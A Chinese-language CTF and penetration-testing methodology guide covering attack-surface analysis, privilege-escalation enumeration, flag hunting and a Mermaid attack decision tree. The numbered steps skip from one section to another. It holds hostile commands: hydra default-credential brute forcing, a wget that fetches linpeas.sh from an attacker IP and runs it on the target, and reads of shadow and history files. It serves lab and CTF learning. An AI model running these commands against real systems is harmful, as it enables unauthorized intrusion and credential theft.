CTF朝圣路地图 — 从菜鸟到红队的思维框架

前言:思维转变 — 从「学教程」到「像攻击者一样思考」

每一个CTF选手都会经历一个关键转折点:不再问「这个漏洞怎么利用」,而是问「这个系统有哪些弱点」。教程教你「怎么做」,但CTF真正考验的是「为什么这样做」和「如果不这样做还能怎么做」。

当你拿到一个陌生目标时,无助感是正常的。你不是缺少知识,而是缺少一套系统化的攻击思维框架。这份朝圣路地图的目的,就是把零散的技术点串联成一条可重复的攻击链 — 无论是HTB靶场、CTF比赛,还是真实渗透,这个思维框架都适用。

记住一个原则:90%的CTF卡关,都是因为侦察不够充分。

第二步:分析攻击面 (Attack Surface Analysis)

拿到侦察数据后,用表格列出每一个攻击入口点。

攻击面清单

端口服务版本潜在攻击向量
22SSHOpenSSH 7.4弱口令/暴力破解/已知漏洞
80HTTPApache 2.4.6Web漏洞/目录遍历/配置泄露
8080HTTPTomcat 9.0默认凭证/部署WAR/Manger App
445SMBSamba 4.7匿名访问/永恒之蓝/NTLM中继

版本号 → 漏洞的三步链

# 1. searchsploit 查本地漏洞库
searchsploit apache 2.4.6
searchsploit --cve <CVE编>
 
# 2. CVE编号 → 公开漏洞细节
# 访问 nvd.nist.gov、exploit-db.com、cvedetails.com
 
# 3. GitHub搜索利用代码
# 搜索: "CVE-XXXX-XXXX poc" 或 "CVE-XXXX-XXXX exploit"

Web 攻击面细化

对每一个Web服务,逐项检查:

  • 每个参数:GET/POST参数都可能是注入点
  • Cookie:解码JWT、修改session、查看标志位
  • HTTP头:X-Forwarded-For(IP欺骗)、User-Agent、Referer
  • API端点:未在页面上展示的隐藏API
  • 文件上传点:是否存在、检查扩展名过滤
  • 返回包特征:Server头、X-Powered-By、异常的响应码

默认凭证检查

永远不要跳过这一步。很多CTF靶机就靠默认凭证获取初始立足点。

# 用hydra尝试常见默认凭证
hydra -C /usr/share/wordlists/seclists/Passwords/Default-Credentials/default-passwords.txt <TARGET> <SERVICE>
 
# 手动尝试 (不要小看这一步)
admin:admin
admin:password
guest:guest
root:root
root:toor

第四步:权限提升 (Privilege Escalation)

拿到初始shell后,提权是第二道大坎。

Linux 提权标准流程

# === 1. 自动化侦察 — linpeas ===
# 把linpeas.sh传到靶机然后运行
wget <YOUR_IP>/linpeas.sh -O /tmp/linpeas.sh && chmod +x /tmp/linpeas.sh && /tmp/linpeas.sh
 
# === 2. 手动检查 SUID 二进制 ===
find / -perm -4000 -type f 2>/dev/null
# 然后去 GTFOBins (gtfobins.github.io) 查每一个
 
# === 3. Capabilities ===
getcap -r / 2>/dev/null
 
# === 4. Sudo 权限 ===
sudo -l
 
# === 5. Cron 定时任务 ===
cat /etc/crontab
ls -la /etc/cron.*
# 检查每个cron脚本是否可写
 
# === 6. 内核版本 ===
uname -a
# 用searchsploit或linux-exploit-suggester.sh查内核漏洞
 
# === 7. 可写路径/敏感文件 ===
find / -writable -type f 2>/dev/null | grep -v /proc
find / -name "*.conf" -o -name "*.config" -o -name "*.ini" 2>/dev/null

Windows 提权标准流程

# === 1. 自动化侦察 — winPEAS ===
# 传winPEASx64.exe到靶机运行
 
# === 2. 服务权限检查 ===
wmic service get name,displayname,pathname,startmode
# 或者: sc qc <service_name>
# 关注: 可写服务路径、未引号包围的服务路径
 
# === 3. 计划任务 ===
schtasks /query /fo LIST /v
 
# === 4. 注册表 ===
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall /s
# 查找凭据、自动登录信息
 
# === 5. AlwaysInstallElevated ===
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

当 linpeas/winPEAS 没发现明显漏洞时

  • ps aux / tasklist 查看运行中进程,找内部服务
  • 检查家目录的 .bash_history.bashrc.zsh_history
  • /opt/srv/var/backups 下有没有遗留的配置或备份文件
  • 检查 env 输出的环境变量
  • 别忘了:有时候提权不是技术问题,是密码复用 — 同一个密码在多个用户间使用

第六步:夺旗与清理 (Capture & Cleanup)

旗帜的常见位置

Linux:
  /root/root.txt          ← 最常见
  /home/*/user.txt        ← 普通用户flag
  /root/.ssh/             ← 有时藏在authorized_keys注释里
  /etc/shadow             ← flag可能是密码哈希

Windows:
  C:\Users\Administrator\Desktop\root.txt
  C:\Users\<username>\Desktop\user.txt
  C:\Users\<username>\AppData\Local\Temp\
  HKLM\SOFTWARE\          ← 注册表中有时藏flag

不要放过这些地方

# 环境变量
env | grep -i flag
 
# 隐藏文件 (.开头的文件)
find / -name ".*" -type f 2>/dev/null | xargs grep -l "flag" 2>/dev/null
 
# 数据库
# MySQL: show databases; use <db>; show tables; select * from <table>;
# SQLite: .dump 导出所有数据
 
# 浏览器书签/历史 (用户图形界面存在时)
# Firefox: ~/.mozilla/firefox/
# Chrome: ~/.config/google-chrome/
 
# 邮件
ls /var/mail/
ls /var/spool/mail/

CTF 攻击决策树 (Mermaid 流程图)

flowchart TD
    A[获得目标IP] --> B[Nmap 全端口扫描 -p-]
    B --> C{发现Web服务?}
    
    C -->|是| D[Web枚举: gobuster/ffuf/whatweb]
    C -->|否| E{有其他服务?}
    
    D --> F{Web有漏洞?}
    F -->|SQL注入| G[sqlmap / 手工注入]
    F -->|命令注入| H[反弹Shell]
    F -->|文件上传| I[上传Webshell]
    F -->|LFI| J[日志投毒 / php wrapper]
    F -->|SSTI| K[模板注入RCE]
    F -->|无发现| L[参数Fuzz / API发现 / 默认凭证]
    
    E -->|SSH| M[暴力破解 / 私钥 / 已知漏洞]
    E -->|SMB| N[匿名访问 / EternalBlue / 枚举用户]
    E -->|FTP| O[匿名登录 / 弱口令 / 已知漏洞]
    E -->|数据库| P[弱口令 / 已知漏洞 / 配置缺陷]
    
    G --> Q{拿到Shell?}
    H --> Q
    I --> Q
    J --> Q
    K --> Q
    L --> C
    M --> Q
    N --> Q
    O --> Q
    P --> Q
    
    Q -->|是| R[权限提升]
    Q -->|否| S{超30分钟?}
    S -->|是| T[回到侦察: 补UDP扫描 / 检查被忽略的端口]
    S -->|否| U[继续当前方向 / 换Exploit版本]
    U --> Q
    T --> B
    
    R --> V{提权成功?}
    V -->|是| W[内网侦察: ip a / route / arp -a]
    V -->|否| X{linpeas/winPEAS 有发现?}
    X -->|是| Y[利用发现的可疑项]
    X -->|否| Z[手动检查: SUID / Cron / Sudo / 内核]
    Y --> V
    Z --> V
    
    W --> AA{发现内网?}
    AA -->|是| AB[横向移动: 凭证收集 / 端口转发 / 代理]
    AA -->|否| AC[收集Flag]
    AB --> AD[进一步渗透内网主机]
    AD --> AC
    
    AC --> AE[夺旗完成]

    style A fill:#4a90d9,stroke:#2c5f8a,color:#fff
    style AE fill:#27ae60,stroke:#1e8449,color:#fff
    style T fill:#e74c3c,stroke:#c0392b,color:#fff
    style S fill:#f39c12,stroke:#d68910,color:#fff

CTF 资源工具箱

在线工具

工具用途地址
CyberChef编码/解码/加密瑞士军刀gchq.github.io/CyberChef
dcode.fr密码学工具集dcode.fr
crackstation.net在线哈希破解crackstation.net
hashkiller.co.uk在线哈希破解hashkiller.co.uk
jwt.ioJWT在线解码/篡改jwt.io
revshells.com反弹Shell生成器revshells.com
GTFOBinsLinux二进制逃逸大全gtfobins.github.io
LOLBASWindows二进制逃逸大全lolbas-project.github.io
factordb大数因数分解factordb.com

Wordlists 词表

# SecLists — 必备词表集
/usr/share/wordlists/seclists/
# 重点:
#   Discovery/Web-Content/  → Web目录爆破
#   Passwords/               → 各种密码表
#   Usernames/               → 常见用户名
 
# rockyou.txt — 哈希破解首选
/usr/share/wordlists/rockyou.txt
# 如果字典需要解压:
sudo gunzip /usr/share/wordlists/rockyou.txt.gz
 
# dirbuster — 目录爆破
/usr/share/wordlists/dirbuster/
 
# 自定义字典 — 根据目标信息生成
# 用cupp或cewl从目标网站提取关键词生成
cewl http://TARGET -w custom_wordlist.txt

Cheat Sheets 速查表

  • PayloadAllTheThings (github.com/swisskyrepo/PayloadsAllTheThings) — 各种注入payload大全
  • HackTricks (book.hacktricks.xyz) — 渗透百科,遇到任何问题先查
  • GTFOBins (gtfobins.github.io) — 每个SUID二进制的利用方法
  • LOLBAS (lolbas-project.github.io) — Windows下签名二进制利用
  • WADComs (wadcoms.github.io) — 交互式Windows/AD攻击矩阵

社区

社区用途
HackTheBox Forum靶机讨论(仅限已退役机器)
TryHackMe Discord学习路径讨论
CTFtime.org比赛日历 + 团队招募
/r/CTFReddit CTF版
/r/netsecReddit 网络安全版

本指南会持续更新。建议用你自己在实战中的经验和笔记不断丰富它。每一个CTF选手的地图都应该是独一无二的。